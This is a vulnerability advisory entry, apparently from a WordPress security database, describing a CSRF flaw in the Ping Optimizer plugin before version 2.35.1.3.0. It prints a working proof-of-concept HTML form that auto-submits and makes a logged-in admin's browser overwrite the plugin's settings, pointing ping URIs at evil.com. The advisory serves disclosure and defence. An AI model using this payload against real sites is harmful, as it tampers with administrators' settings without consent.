WordPress Ping Optimizer < 2.35.1.3.0 - Arbitrary Settings Update via CSRF

2022-08-2300:00:00

Daniel Ruf

392

wordpress

ping optimizer

csrf

arbitrary settings update

cross site request forgery

security threat

EPSS

0.001

Percentile

25.9%

JSON

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

<form id="test" action="https://example.com/wp-admin/options-general.php?page=wordpress-ping-optimizer%2Fcbnet-ping-optimizer.php" method="POST">
    <textarea name="cbnetpo[uris]">
http://evil.com
aaaa
bbbb
    </textarea>
    <input type="text" name="cbnetpo[ping]" value="1">
    <input type="text" name="cbnetpo[limit_number]" value="1">
    <input type="text" name="cbnetpo[limit_time]" value="15">
    <input type="text" name="cbnetpo[save]" value="Save Settings">
</form>
<script>
    document.getElementById("test").submit();
</script>

EPSS

0.001

Percentile

25.9%

JSON

Related for WPEX-ID:B1A52C7E-3422-40DD-AF5A-EA4C622A87AA